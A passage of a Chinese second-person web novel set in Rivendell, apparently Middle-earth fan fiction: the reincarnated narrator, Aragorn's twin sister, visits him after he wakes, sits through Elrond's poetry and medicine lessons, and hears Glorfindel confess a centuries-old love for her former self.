你和母亲吉尔蕾恩能够聊的话题没有多少,大部分话题都是和小时候有关的,基本上是在回忆过往,因为如果谈及现在的事情,稍有不慎就会产生矛盾,倒也不是你无法在争论中取胜,而是一旦你说得过了头,惹出她的眼泪,头疼的反而是你自己。 所以你很有先见之明地不再提及这些具有矛盾性的话题,说的都是一些无关紧要的小事情。 这反而使得你们聊天的氛围更加融洽。 在花园里又呆了一阵子,你摘下几朵月星花制作成简单的花束,打算待会儿去看望阿拉贡的时候顺手送给他。 你们前脚刚刚离开吉尔蕾恩的住所后脚就又遇到了林迪尔,看他的样子估计是来告诉你们阿拉贡已经醒来的好消息,他的脸上还挂着笑容,“埃斯泰尔已经醒过来了。” 吉尔蕾恩说:“什么,那真是太好了。” 你倒是没有吉尔蕾恩表现得那样惊讶,只不过阿拉贡这个恢复速度确实惊人,你还以为他得要再昏迷两天才会醒过来呢。 “非常感谢您告诉我们这个好消息。”这时候你也不忘对林迪尔表示感谢,他又领着你们去往阿拉贡所在的病房,你昨天已经去过一趟,所以这路线你也很清楚。 在去的路上林迪尔还说:“埃斯泰尔在快要醒过来的时候就一直在念叨着你的名字。” 你楞了一下,才问:“是在念叨我的名字吗?” 吉尔蕾恩轻笑一声,“难道还有别人的名字吗?我想在这个世界上,他最挂念的人应该就是你了。” 这么说会不会有些夸张啊,你在内心嘟哝一句。 “是的,而且醒过 来以后第一时间也是询问你的去向。“这也是为什么埃尔隆德大人让林迪尔过来找你们。 阿拉贡还是和以前一样,他在小时候午睡醒来以后第一时间就是寻找你,如果找不到你了他会嚎啕大哭,小孩子哭起来没个节制,很容易哭到缺氧,于是等你出现在他面前的时候,见到的就是哭得满脸通红的他。 那现在的阿拉贡也会这样吗?他也会因为醒来之后找不到你而哭泣吗?你带着几分恶趣味地思考这个问题。 等你们走到阿拉贡病房门口,还没等你走到房间里就听到里面传出他的声音,他在询问养父埃尔隆德,“她还好吗?有没有受伤呢?她还在这里吗?该不会又去其他地方了吧?” 阿拉贡的问题一个接着一个,根本就没有给埃尔隆德回答的机会,后者只能耐心地等待,他问完最后一个问题,然后缓缓地回答道:“她很好,没有受伤,现在正在来路上,我想她在短时间内应该不会离开这里,这一点你不用担心。” 埃尔隆德的话音落下,你就伸手敲了敲门,然后推开门,还躺在病床上的阿拉贡,看见你的声音,一下子从床上坐起来,。 因为动作幅度过大,原本包扎好的伤口差点就要再次裂开,这肯定会带来一些疼痛,但是这些疼痛不足以影响他,他甚至还能对你挤出一个笑容,说:“亚玟……这次应该不是幻觉吧?” “不是幻觉。”你说着,你实在是不擅长应付这种煽情的场合,于是你把话题抛给母亲吉尔蕾恩,“妈妈也来看你了。” 不过虽说阿拉贡和母亲吉尔蕾恩在幽谷度过了相依为命的十多年,但他们的关系算不上多亲近,也许是因为父亲阿拉松的死,又或者是因为你的下落不明,使得他们之间始终隔着什么。 吉尔蕾恩说:“我听说你这次是中了索伦的计谋,不过好在最终你没有什么大碍。” 阿拉贡点了点头,“下次……这种事情不会再发生了。” 就连你也看出来,他们这对母子相处模式有些生疏,甚至比你这个分别了多年刚刚回来的女儿还要生疏。 眼看着对话的气氛陷入僵局,埃尔隆德又指了指你手里的花束,“这是送给埃斯泰尔的吗?” 于是话题又回到了你身上,这花束的包装几乎是没有的,你就是用一条丝带把那几支花绑在一起而已,最后再打上一个蝴蝶结,光从外表来看和精致一点也不沾边。 可即便是这样,阿拉贡也欣然从你手中接过这一花束,并且还笑着对你说:“一醒来就能收到你的礼物,我实在是太幸运了。” “是啊,我都没料到你今天就能够醒来。” 阿拉贡把花束放在床头,他说,他在昏迷的时候梦见了你,你经常出现在他的梦里,小时候他就因为梦见你死去的画面而哭着醒来,那时的他还分不清梦境与现实,只是一味的担心你的死亡。 在刚才那个梦里,他从始至终都在追逐你的脚步,这种感觉疲惫极了,但他又不敢停下来,因为一旦停下来,你就会彻彻底底消失不见,最后的最后他终于追赶上了你,与你并肩同行,和你手拉着手。 然后没过多久,他就真的醒来了,只不过他没有牵着你的手,而是死死地握住他的养父埃尔隆德的手。 埃尔隆德起身,他原本想要将剩下的时间留给你们三人,但在他走出病房后没多久吉尔蕾恩走了出来,她说:“我感觉阿拉贡还是和他的妹妹更亲近一些,所以我也最好不要打扰他们。” “双生子之间是会更加亲近一些。”关于这一点埃尔隆德深有体会,因为他和他的双生子弟弟就是这样的,有些话题有些想法只有他和他的弟弟才能够相互理解,这些事情就连他们的双亲也没办法做到完全理解。 所以在埃尔隆德看来,拥有一位双生子兄弟,亦或是姐妹是一件极其幸运的事情。 此时此刻留在病房里的你和阿拉贡面面相觑,你是真没想到母亲吉尔蕾恩才说了几句话就从病房离开了,她难道就不关心她的儿子吗? 还是说他们专门留出时间来让你和阿拉贡叙旧呢? “你……等一下还有急事吗?”阿拉贡靠在床头,他刚才还想挣扎着下床给你拉一张椅子过来呢,好在你及时制止了他。 “我?接下来没什么事情。” 阿拉贡就说:“那你为什么不坐下来呢?我们正好可以慢慢聊。” 你一直站着的样子给他一种你随时可能会离开的错觉,这让他发自内心地感到不安。 行吧,看着他现在重伤刚刚醒来的份上,你听从他的建议,从旁边拉了一张椅子过来坐在他的床边,“你有什么想要问我的吗?” “亚玟……这只是一场普通的对话而已,不是审讯你没必要那么严肃认真。”阿拉贡半开玩笑地说。 你耸耸肩,“我一向对待所有事情都很严肃认真。” “真的吗?那你以前怎么还应付音乐老师的作业呢?你都不愿意学她教的歌。”说着说着,阿拉贡的唇角上扬,他一直都在等待这一天的到来,就仅仅只是和你面对面的说一些童年的事情。 好端端的,他怎么就开始揭短了? “我想我当时肯定是给出过解释的,不是所有人都喜欢歌颂爱情的歌曲,你难道就没有看见我认真学习关于歌颂多尔罗明君主英勇事迹的歌谣吗?” 没错,那位多尔罗明的君主就是上一个副本的你,你也不是自恋,主要是因为如果一定要让你从爱情歌曲和后者之间选一个的话,那你情愿选择后者。 至少这些歌曲不会像前者那样充斥着各种各样的改编,以及所谓的文学修饰润色。 “我还记得以前母亲给我们讲睡前故事,你每次听到人类与精灵的爱情故事时,总是会长叹一口气。” 阿拉贡的记性可真好啊,净挑一些你的黑历史记得一清二楚。 你听到这种故事会叹气,也是因为放眼几千年的历史,能够被歌颂的人类与精灵的爱情也就那么几段,而这样的爱情往往承载着太多人类太多精灵的想象了,从而缺失了原本的真实性,所以你觉得这是毫无意义的。 “你确定要在醒来以后和我聊这些事情吗?就不能聊一些我们都喜欢乐见的事情吗?”你有些郁闷地说。 “哦对了,我的那一把匕首……”阿拉贡这时候想起来在大战中差点折损的匕首,他可是亲眼目睹你用这一对匕首割下半兽人的头颅。 他的那一把匕首在你到达幽谷以后就交给了埃尔隆德帮忙修复,而埃尔隆德又把修复匕首的任务转交给自己的儿子,所以现在这把濒临破碎的匕首正躺在埃尔拉丹和埃洛希尔的专属工坊里,正等待着下一次浴火重生。 “我把它交给埃尔隆德大人了,你可真厉害啊,居然用一把匕首硬生生地撑过了半兽人的第一轮攻击。” “我也不想的,谁让他们的攻击来得猝不及防呢?” 听阿拉贡说话的语气,他还有些心疼这把匕首,因为这把匕首可是与你的匕首成双成对的一把,如果因此损坏了的话他肯定会心疼的。 “希望埃尔隆德大人能够把这把匕首修复好。” 阿拉贡又拿起刚才放在床头的花束,他的手指触碰洁白的花瓣,“这是从母亲的花园里采摘下来的对吗?”他认出了这是母亲吉尔蕾恩亲手栽种的花朵。 “是的,我今天先去了母亲那里,然后才过来看你的,这些年过去她苍老了许多。” 阿拉贡的手指绕着花束上的丝带,他说:“嗯……因为她总在担心你,你知道吗,其实我一直都在想,如果那个时候被座狼袭击掉队的人是我就好了。”他真的有很认真地考虑过这个问题。 阿拉贡这种自我牺牲意识你从他很小的时候就看出了端倪,这也是你对他的态度软化的主要原因,他不像格林,嘴里总是说着一厢情愿的保护。 你说:“无论是你还是我,我们的母亲都会感到悲伤。” “但如果是你的话,你肯定能做得比我更好,就像你以前每一次课堂测试分数都会比我高一样。” 你忍不住笑出声,“你怎么还是这么幼稚,今天只是课堂测验的成绩就觉得我更值得活下来吗?” “当然不只是这一个原因,还有很多原因。”阿拉贡说。 但不管怎么说,现在的情况比他当初设想的好太多了,你没有死去甚至还好好地长大了。 “就算你一直这么盯着我,我也不会给你一个拥抱的。”你双手环胸,“最起码也要等到你把身上的脏东西全都洗干净, 我才会考虑是否要拥抱你。” 阿拉贡哈哈大笑,“抱歉,现在的我肯定样子很狼狈,难为你还能这样和我聊天。” “唉……没办法,我在来的路上还在担心你会不会像以前一样,醒来之后找不到我就嚎啕大哭,现在看来你还是有些长进的,至少没再掉眼泪了。” “我以前……应该也算不上是嚎啕大哭吧?”阿拉贡为自己辩解道,“顶多就是小哭一阵子而已。” “是么。” “是的。”他心虚地移开视线。 第77章 第77章他又是从哪里冒出来的?…… 在幽谷的日子你都没闲着,应该说你很少会浪费自己的时间,而且幽谷的精灵与密林不同,简单来说就是这里的精灵更喜欢读书,阅读氛围浓厚,再加上这里的领主埃尔隆德擅长医术,在你到达幽谷之前你就曾听瑟兰迪尔说起过埃尔隆德,那位总是言辞锐利的密林精灵王极为少见地给出很高的评价:这是一位智者,而且还是精通医术的智者。 要知道从瑟兰迪尔嘴里得到这样的评价有多不容易,他向来很少那么直率地夸奖其他精灵,所以由此可得,埃尔隆德是一位名副其实的智者,而且性格比瑟兰迪尔不知道温柔多少倍,单看性格那可真是一个天上一个地下,当然你这么说只是单纯的比较而已没有别的意思。 前面说了那么多,主要是为了之后向埃尔隆德求学做铺垫,多学习一些东西总没错的,正所谓技多不压身,而且没准这种技能还能在日后派上用场,除了医术,埃尔隆德在医术方面的造诣也很高,但是唯一有个缺点就是,他也很喜欢歌颂上个副本的你和吉尔-加拉德爱情的歌曲,他甚至对你说他从这些歌谣里汲取了许多勇气。 虽然不明白他是怎么做到光是听几首歌就能获得勇气的,但你还是硬着头皮和他聊些有的没的,毕竟是为了刷他的好感度嘛,不寒碜。 但没成想埃尔隆德一开始说就没完没了的,似乎忘了他今天应该教授你医术的,你也只能耐着性子听下去,恰好在这时书房外有谁路过,你转过头一看,还以为是阿拉贡,但定睛一看,哪里是阿拉贡,分明是格洛芬德尔,不过他怎么会出现在这里呢?有一点你可以肯定的,他会出现在这里肯定不是巧合。 不过他的到来或许能打断现在这个话题,因此你对埃尔隆德说:“门外好像有谁在找您。” 埃尔隆德也顺势看向门外,发现是格洛芬德尔以及站在他不远处的埃克塞理安,他便示意他们走到书房里来,埃克塞理安走在前头,他说:“希望我们没有打扰到您二位。” 你倒是希望他们能够多打扰一会才好呢,因为你实在是不想听其他精灵说那些经过无数遍文学修饰的爱情故事了。 你对着埃克塞理安礼貌地笑了一下,“我不认为这是打扰,而且您们过来肯定是有急事对吧?” 埃克塞理安说:“嗯……其实也不算是急事,就是我刚才看见好友一直在这书房附近徘徊,我还以为他有什么事要和领主大人说呢。” 这下子在场的人类还有精灵的目光全都投向格洛芬德尔,他瞬间成为关注的焦点,他不自然地眨了一下眼睛,刚才他就和好友埃克塞理安说过了不要直接打扰你们上课,但是这家伙名义上是为了他好,但实际上更像是为了看热闹,就直接催着他来到书房门口,而且还正好被你给看到了。 “我们正好讲到关于诗歌的知识——”埃尔隆德主动打圆场,他又向你说,“这两位精灵也都很擅长诗歌,或许您二位可以暂时充当这节课的助教?” 埃克塞理安觉得反正自己现在很空闲,而且他的朋友对你这位人类客人很好奇,索性顺水推舟地答应下来,“我没什么问题,你呢?”说着,埃克塞理安还用胳膊肘捅了一下格洛芬德尔,后者迟疑几秒才答应下来。 唉,他的这个朋友最近不知道怎么的非常不对劲,总是容易走神,有时候好好地聊着天就又走神了,上次更是直接忘了和他约好一起下棋的,精灵也会出现记忆力衰退的情况吗?虽说他们的年龄在精灵当中确实算得上是年长的,但总不至于已经到了年迈的地步吧?而且再说了,比他们更加年长的精灵不也还是好好的吗? 所以埃克塞理安排除了这个可能,那看来估计就是出于其他的原因了,具体如何他也无从而知。 要说这时候在场谁的心情最低落,那肯定就是你了,因为你起初还在期待他们的到来可以直接让埃尔隆德换一个话题呢,现在倒好,直接变成三个精灵一同给你上诗歌赏析课了,你忍不住叹了一口气。 真不愧是诗歌赏析课,那些个精灵连你的叹息都能赏析一番,埃尔隆德说:“的确,刚才的歌谣听上去确实有些悲伤,因为那承载着精灵对恋人逝去的不舍。” 的确什么啊的确,你都愣了一下。 你单手托腮,“是的,我也听出这种不舍了。”如果不是为了刷埃尔隆德的好感度,你估计会现在立马起身走人的吧? 埃尔隆德对你的回答很满意,他又接着介绍其他的歌曲,有的歌曲曲调轻快明亮,如同乡间小调,听得人心情大好,尽管你对这些知识不感兴趣,但你也能把这些知识点认真地听进去,无论是上一个副本还是更早以前的上辈子,你都是能够压抑自己的不耐烦而学习枯燥知识的人,你依稀记得无论是你的家人还是周围人,老师还有同学对你的评价都是文静而认真的。 你也是后来才知道这种评价其实等同于平庸以及毫无存在感,可是那个时候的你却不觉得这样有什么不好的,被家人忽略感受也好,被朋友当成取笑的小丑也好,你似乎都能接受,甚至于就连自己突如其来的死亡也能接受,很久以前的你是个逆来顺受的人,把别人说的话语奉为圭臬,然后为了其他人而努力,但是到最后似乎什么都没有得到。 厌倦了这种人生的你在绑定这个所谓的公主模拟器后才会对他人为你安排好的道路无比厌烦,虽然这个系统打搅了你死后的清静,但总的来说,却也让你看到了另外一种可能性,一种人生由自己掌控的可能性。 你的思绪不由地飘远了,还是突然的笛声把你的注意力带回来,你抬头一看,原来是埃克塞理安在吹笛子,他修长的手指捻着长笛,悠扬的笛声在书房里流淌,以埃克塞理安的笛声作为开头,格洛芬德尔的琴声也随之响起,他们演奏的是贝伦与露西恩之歌,总算不是你和吉尔-加拉德的歌曲了。 听说最后贝伦与露西恩一同离开了这个世界,这可以说是人类与精灵的爱情中最完美的结局了,在这首歌曲结束以后这堂课才算告一段落,埃尔隆德总算是想起来教你医术这回事了,剩下的时候你都在捧着一本大部头的医学著作,这书也就看起来有些吓人而已,但实际上每一页内容之间的行间距都很宽裕,比你以前在另外一个世界看过的挤在一起密密麻麻的大部头书籍好多了。 后半堂课你倒是很感兴趣,听下来还记了很多笔记,等你再次从书海里抬起头来的时候夕阳已经爬上窗台昭示着傍晚的到来,埃尔隆德也说:“是时候休息一会了,你今天已经学习了很长时间了。” 学习的时间长吗?也不算太长吧?毕竟在另外一个世界的时候你甚至可以从早上五六点一直学到晚上九十点,中间除去必要的进餐时间,剩下的就都是学习时间,那样的生活你都坚持过来了,这种学习强度对你来说根本不算什么。 埃尔隆德把那本书从你手里收走,而后对你笑了一下,“你该去休息了,我想埃斯泰尔肯定也在等待你了。” 他说的没错,阿拉贡早就在等你下课了,要不是林迪尔有事情麻烦他,估计他就会和格洛芬德尔一样直接去往你们在的书房,林迪尔请求他帮忙清点库房的清单,这不是一件难事,就是有些繁琐而已,林迪尔恰好看到阿拉贡有空就拉着他一起干活。 经过这些天的修养阿拉贡的伤势早就已经转危为安,而且伤口基本上都已经愈合了,这多亏了埃尔隆德的医术,以及阿拉贡本身强大的自我愈合能力,在他的身体恢复以后他也没着急离开幽谷,要知道在以前,尤其是在他长成少年以后就很少留在幽谷,要么是在幽谷附近帮北方游牧民族抗击半兽人军队,要么就是南下帮助洛汗以及刚铎的人民,与此同时也在寻找你的踪迹。 但是现在你回来了,他暂时也不愿意从你身边离开,用你们母亲吉尔蕾恩的话来说就是双生子生来就该是待在一块的, 阿拉贡非常符合这句话的描述,但你就没有那么粘人,只是看在阿拉贡还在修养的份上,你每天都会抽出一部分时间来陪他聊天,听他讲述自己这些年走南闯北的经历,他每说一件事情都会在后面跟上一句,“如果当时你也在就好了。” 听到后面你都要形成条件反射了,你说:“阿拉贡,你没必要为了我们这些年的分别而感到可惜,实际上这反而让我们明白自己真正想要走的道路是什么。” 阿拉贡更好奇地问:“那么你想走的道路是什么呢?” 对此你浅笑了一下,“首先还是先要收复我们曾经的家园,总不能让那些肮脏的半兽人一直占据着那片土地吧?”你说的这一点阿拉贡也很赞同,只是他总有种预感,或许在未来的某个时间节点,你们会走上不同的道路然后渐行渐远,现在的他不再像是小时候那样一旦想到分别的事情就无法接受,时光是多么神奇的事情,能够将一个人的性格改变那么多。 他不再嚷嚷着你们不应该分开,他只是很认真地对你说:“是的,我们并肩作战一起夺回原来的家园吧。”至于后面的事情,这不是他能够决定的,决定权一直都在你的手里,如果你日后真的要走另外一条路,那他也肯定会选择支持你的,毕竟你是他的手足,他的血亲,无论什么时候他都会站在你这一边。 阿拉贡的话语让你很满意,你对他说:“我们该去吃晚餐了。” 你们到达餐厅的时候晚餐刚刚开始,你们找到位置坐下,当晚的晚餐有几个精灵缺席,你仔细一看才发现是莱戈拉斯还有幽谷的双生子埃尔拉丹还有埃洛希尔没有来,你询问坐在身边的陶瑞尔:“他们怎么没有来?” 陶瑞尔说:“他们忙着在幽谷周围探险呢。”先前陶瑞尔还会跟着一块去探险,但是到后来她就觉得这里始终比不上她的故乡密林,所以渐渐地她那股新鲜劲就过去了,但莱戈拉斯不一样,他的兴奋劲都还没有过去,而且他还和幽谷的双生子相见恨晚,几乎每天都待在一块形影不离,其他精灵都找不到他们的身影。 好在埃尔隆德都已经习惯他的那两个儿子这样随性活泼,也不会过多地管束他们,顶多就是叮嘱他们两句得要好好照看莱戈拉斯,要是这位精灵王子有个三长两短,那密林的精灵王估计得要大发雷霆。 玩归玩,埃尔拉丹和埃洛希尔也很清楚事情的底线是什么,所以他们也对父亲埃尔隆德保证会好好照顾莱戈拉斯的。 在晚餐结束以后你和阿拉贡离开餐厅,但是走到一半埃克塞理安突然冒出来说是找阿拉贡有事,阿拉贡虽然不解,但还是跟着埃克塞理安去往另外一条长廊,于是就只剩下你孤身一人走回到房间,没了阿拉贡的陪伴,你就没打算那么早回房间了,你可以再去书房看一会书,主要是因为埃尔隆德把书拿走害得你看到一半,对剩下的内容非常好奇。 如果不能看到剩下的内容的话,说不定你今天晚上会失眠。 想着,你换了个方向朝着书房走去,但是走到一半,格洛芬德尔就跟上你的脚步,他问道:“你还要去书房吗?但我记得你晚上好像没有课吧?” 他又是从哪里冒出来的?你不禁疑惑地想。 他们精灵走路可真是悄无声息神出鬼没得很。 第78章 第78章你不记得他了吗? 你停下脚步,回过头对格洛芬德尔说道:“我只是‘顺路’去书房一趟而已。”你相信格洛芬德尔肯定能读出你的弦外之音。 格洛芬德尔说:“那请让我陪同你一块去吧。” 他这是在提防你吗?你若有所思,格洛芬德尔往前面走了几步,见你没有跟上来他才又说:“怎么了?” “没什么,我只是在想您为了这次偶遇肯定做了不少准备吧?而且刚才还特意让埃克塞理安大人支走阿拉贡。”你直言不讳地戳穿他的所作所为,这让格洛芬德尔沉默了几秒,没想到你全都猜出来了,他说:“……埃克塞理安确实找埃斯泰尔有事。”他这相当于一口咬死了不承认这场偶遇是他有意制造的。 你盯着他看了一会,而后才走到他身边,“但愿真的是这样。” 接下来的那一段路你们保持安静的气氛,你们在书房门口停下,格洛芬德尔替你打开门,你在书架上寻找下午看过的那本大部头医学书籍,但是找了一圈都没有找到。 “好像在他的桌上。”格洛芬德尔的声音响起,你转过身一看,刚才你光顾着在书架上寻找了,都没仔细看一眼书桌,那本书就这么摊开放在桌面上,你将书合起然后抱在怀里,既然想要的东西都已经拿到手了,你也没什么理由继续停留在这里,你当即就要走,但格洛芬德尔却又说:“你今天好像对诗歌赏析的课程不怎么感兴趣?” “我只是不喜欢来来去去就那么几个爱情故事反复歌颂的歌曲而已。”简单来说就是审美疲劳了,你是真的很佩服这个世界的人类和精灵,居然能听那么多同题材的歌曲还不觉得腻,当然也有可能是因为这世界的娱乐活动实在是少得可怜吧,所以也不存在审美疲劳这一说。 格洛芬德尔又说:“其实我还写了一些别的诗歌,如果你不介意的话……可以帮我看看哪里还需要修改吗?” 他需要的哪里是修改,他需要的仅仅是你的倾听而已,你一下子就看出他的真实意图,你拿着书,正在思考要不要拒绝格洛芬德尔,但在这时他又说:“我记得我那里还有一些草药学的书籍,当然,都是精灵内部传阅的书籍。” 格洛芬德尔很聪明,抛出一个你可能会感兴趣的条件然后等待你的反应,草药学的书籍啊……这让你不由地想起了早已死去许久的埃欧尔,他就非常擅长制作毒。药,毒。药也是草药学的一个分支,之前你还得要依靠埃欧尔来帮你制毒,你不太喜欢过多的求助别人,多学一个技能也是好的,于是你说:“好啊,我很乐意帮您看看您的歌曲是否需要修改。” 说着,你先一步走出书房,然后回过头,这一次是你主动询问他:“您的房间在哪里呢?” 他欣然为你带路,你们这边的气氛逐渐变得融洽,而反观阿拉贡和埃克塞理安那里,阿拉贡走出一段路后就察觉出不对劲,他问:“您真的需要我的帮忙吗?” 埃克塞理安也只好坦白,“抱歉埃斯泰尔,是我骗了你,实际上我没有什么事情需 要你来帮忙的,我之所以那么做是为了让格洛芬德尔和亚玟商谈一些事情。” 听到埃克塞理安那么说,阿拉贡略带不解,不过既然是格洛芬德尔大人那他应该确实是有很重要的事情要对你说吧? 因此阿拉贡宽慰道:“您不必对我道歉,实际上如果您一开始那么说我也能明白的。” 埃克塞理安避开阿拉贡的目光,含糊不清地说:“嗯。” 而格洛芬德尔真的有重要的事情要对你说吗?此时此刻的你正坐在格洛芬德尔房间的座椅上,看他从书架上拿出一沓手稿,你瞥见在那旁边还有一个盒子,盒子上面没有一丝一毫的灰尘,看得出来他平常肯定经常擦拭这个木盒子,十分爱惜它。 你问道:“那是什么?” 格洛芬德尔顺着你手指的方向看去,发现你指的是那个木盒子,他的神色微妙,“这个……” 你从他为难的神色里读懂了什么,“如果不方便说就算了。”说着,你又从他的手接过那一份手稿,他将手稿理得整整齐齐的,还在边缘处用木夹子夹起来。 精灵都很喜欢诗歌,而你接触过的精灵里诗歌水平最高的莫过于玛格洛尔还有多瑞亚斯的戴隆。 精灵们习惯性地将自己的情绪通过诗歌表达出来,而且在这个世界的规则中歌声也是具有魔力的。 你把他的手稿一页一页地翻阅过去,看这架势就像是歌唱比赛的评委一样,你说:“你要现在开始歌唱吗?还是要再等一会儿呢?” 格洛芬德尔站在距离你不远处,房间内的灯光昏黄,暖色的光线越发衬托得气氛柔和,这一次他没有演奏任何乐器而是选择清唱,精灵的嗓音空灵婉转。 这首歌曲是赞美春天的,也是他在上一个副本曾经和你合唱过的歌曲。 同样也是你在身处魔苟斯的宫殿时歌唱的那首歌,只不过这首歌经过了格洛芬德尔的改编,有些歌词发生了变化,就连曲调有些许不同。 “隆冬深雪消融的那一瞬间,露水缀满枝头,我在林间寻觅新的生机——” 听歌听到一半,你把手稿放到另外一边,接着又开始翻看刚刚拿过来的医学书,格洛芬德尔的歌声更像是集中注意力的轻音乐,你看书逐渐看得入了迷。 直到最后歌声结束,你过了一会儿才抬起头来,恰好和格洛芬德尔的目光撞到一块,他带着几分期待地问道:“所以……如何呢?” “嗯,很好听,仿佛春天迎面而来。”你的夸奖很简短,甚至于格洛芬德尔都感受到了你的敷衍,他勉强地笑了一下,接着又从身后的书架上拿出约定好要给你的草药学书籍,他知道这才是你真正想要的东西,递出那本书,他轻飘飘地说:“其实这首歌更适合合唱。” 又来了……他似乎一直都在对你进行似有若无的试探,他到底是怎么想的呢?难道是觉得你和他曾经认识的那一位公主殿下很相似吗? “这个……我并不清楚。”你含糊不清地说,但是拿到自己想要的东西让你的心情变得好了一些。 “或许这样说来有些奇怪,但是我觉得你和我曾经认识过的一位君主很像。” “这已经不是您第一次这么说了。” “我知道——”他停顿了几秒,接着又说:“在人类死后灵魂究竟会去往何方,人类的灵魂不像是精灵那样会长久地停留在曼督斯的殿堂,人类……” 人类也会存在前世今生吗?他把这个问题藏在美丽而哀伤的双眸里。 “这一点谁又知道呢,就连维拉们也不知道。” 说起这个问题,你还想要问问伊露维塔让你来到这个世界的目的到底是什么呢,难道真的只是为了让你体验公主的生活吗?目的真的那么简单吗? 他眼里的希冀因为你冷淡的态度而一点一点地消失,也许这真的只是他的痴心妄想吧,人类又怎么会存在前世今生呢,而且就算真的存在转世这一说,又怎么能肯定这一世的你和上一世的你一模一样呢? 哪怕灵魂没有发生改变,可是经历不同的事情也会造就不同的性格,说到底,也不能将这两者简单地等同为一个人。 你将目光又转移到书架的那个盒子上,看得出来你对那个盒子充满好奇,因为格洛芬德尔在提及这个盒子的时候态度复杂,所以你想当然地认为里面藏着什么重要的东西,你说:“这里面装着的东西很重要吗?” 这次格罗芬德尔也没有多说些什么,而是走到书架旁边将这个盒子取下,然后放在书桌上打开盒子的盖子,你发现里面都是一些泛黄的手稿以及保存完好的几封书信,还有几幅画像,你是不是还看到了一朵被精心保存起来的黄金鸢尾花。 如果你没有看错的话,那朵花应该是你当初与格洛芬德尔偷偷逃离图尔巩的领地时你随手摘下送给他的花朵。 而他竟然将这朵花一直保存到现在,或许是对它使用了什么魔法吧,就像是加拉德瑞尔对纳国斯隆德的石榴花施展的魔法。 “这些……”你轻声说道。 格洛芬德尔接过你的话头,“是曾经留下来的一些东西,有的是收到的,有的是没能送出去的,但不管怎么说,都对我意义非凡。” 好吧,看来是你猜错了,里面放着的不是什么宝贵的武器,又或者是秘籍,而是一大堆你曾经送给他的礼物,以及他为你写的诗歌,只是那些诗歌他没机会亲自念给你听。 你的态度变得有些微妙,因为在上一个副本在你看来格洛芬德尔或许对你确实存在喜欢,但也只停留在喜欢的层面而已,但是现在看来,你似乎远远低估了他对你的感情。 你说:“这些东西你为什么不在她生前的时候送给她呢?” “因为这会给她添麻烦的。”格洛芬德尔的手指摩挲信封,你以前很少给他写信,除非是遇到什么急事的时候,而他从你那里收到的最后一封信就是关于你和吉尔-加拉德的婚礼,那是一封婚礼邀请函。 “我知道她很讨厌麻烦的事情,而且这样还会消耗她对我本就不多的好感,我不希望我与她之间的关系,从原本的朋友降级为点头之交,甚至最后被她厌恶。”你没想到原来格洛芬德尔还考虑了那么多的事情,当然,也可能是因为你在上一个副本的时候对他的关注本就不多。 “但不管怎么说,我始终认为能够与她相遇相识是一件幸运的事情。” 他永远都不会忘记在那个午后,他从阿瑞蒂尔嘴里听说那位人类公主想要他的那一匹小马驹,阿瑞蒂尔说:“她从所有的小马驹里面一眼就相中了你的那一匹,并且还给它取好了名字就叫做洛丝,她把自己的精灵名字分了一半给他。” 于是格洛芬德尔还没有和你见面,就先从阿瑞蒂尔嘴里得知了那么多消息,知道你一下子就选中了那一匹白马,并且也知道你还把自己的名字分了一半给它。 他也不会忘记你拒绝他的帮助以后翻身坐在马背上,转而对他伸出手,询问他是否需要帮助。 你抿了抿嘴唇,“那你肯定对她印象深刻。” “是的,我……”也许是因为希望落空了,格洛芬德尔此刻非常坦然,“我爱她。” 这样的话语他以前从来没有找到机会告诉你,他偶尔也会感到懊悔,如果真的告诉了你呢?如果早一些告诉你他的心意呢?事情又是否会发生转机呢? 本来只是想要来这里拿一本草药学书籍的,你却莫名其妙地听到了格洛芬德尔晚了几千年的告白,这让你感到一头雾水,并且不得不感慨精灵这种生物确实很长情。 不过你看他这架势,如果他以后发现你的确是转生以后的伊玟,你总觉得他会不惜一切代价地缠着你,这感觉就像是曾经的埃欧尔。 因此你在他面前就更加小心谨慎,免得让他察觉出什么异样。 “就算你现在这么说,她也无法知晓了。”你轻描淡写地说。 “是的。”格洛芬德尔克制着内心的悲伤与失落,他说,“我很抱歉占用你今天晚上这些时间。” 其实也不算是占用吧,毕竟你也拿到了自己想要的东西,顶多就是等价交换而已。 你站起身,正准备拿着东西走人,走向门口的时候突然之间听见格洛芬德尔轻轻的叫了一声你原来的精灵名,“弥尔洛斯。” 你略带奇怪地回过头,说:“你刚才在说什么?” 格洛芬德尔的笑容似乎一如往常,他说:“那是她的精灵名,很美丽的名字。” 他突然说起你以前的精灵名,真的只是心血来潮吗?你总觉得 没有那么简单。 但你也没在他那里停留多久,转而回到自己的房间。 如果说接下来在幽谷的日子一直都要应对格洛芬德尔时不时的试探的话,那你就得要考虑一下提前离开幽谷了,毕竟几千年过去,他在某些瞬间所显露出来的执着让你在他身上看到了埃欧尔的影子,那阴魂不散的鬼魂。 当天晚上你也没有太早入睡,因为你看书看着看着就错过了最佳入睡时间,你干脆就直接看到了后半夜。 偶尔的熬夜对你隔天早上的精神状态产生的影响,使得你一早上起来就哈欠连天,就连莱戈拉斯都看出你的不对劲,他在早餐期间问道:“你怎么了?昨天晚上没有睡好吗?我听阿拉贡说你昨天晚上在和格洛芬德尔谈论重要的事情是吗?” 莱戈拉斯不仅和埃尔拉丹还有埃洛希尔相见恨晚,他和阿拉贡也成为了好朋友,他们经常凑在一块聊天,阿拉贡主要是向他询问你在密林的生活,而莱戈拉斯呢,则是在回答他的问题的同时还不忘大夸特夸自己的家乡。 “这也是阿拉贡和你说的吗?” 他怎么什么事情都和莱戈拉斯说啊。 莱戈拉斯说:“不,这是我自己推测的,因为我发现格洛芬德尔在你来到幽谷以后就对你特别关照,而且我还听说你们志同道合。” 什么?什么叫做你和格洛芬德尔志同道合?这些消息他又是从哪里得知的呢? “我有些好奇你是从哪里听来这些消息的?”你一边说着一边喝了一口果汁,莱戈拉斯认真思考片刻,“嗯……就是从其他精灵嘴里得知的。” 看来接下来的日子你得要避着格洛芬德尔一点,只不过你算到了格洛芬德尔接下来的举动,但是没有算到不久以后事情的发展。 你是绝不会料到在不久之后,吉尔-加拉德会造访幽谷的,因为你当初就没有想到自己寄出的那一封信会送到吉尔-加拉德手上。 毕竟那个时候战火已经在附近蔓延,负责送信的信使能不能在这片战火中活下来都还是个问题,你看那情况下意识地就认为那封信没能送达目的地。 而作为曾经见过吉尔-加拉德的阿拉贡也没有和你提起过这件事,这倒也不能怪他,因为那都是许多年前的事情了,而且吉尔-加拉德也没有在幽谷停留太久,因此在阿拉贡看来这就是一位普通的客人而已。 但恰恰是这一系列的巧合使得你和吉尔-加拉德最终在幽谷见面了。 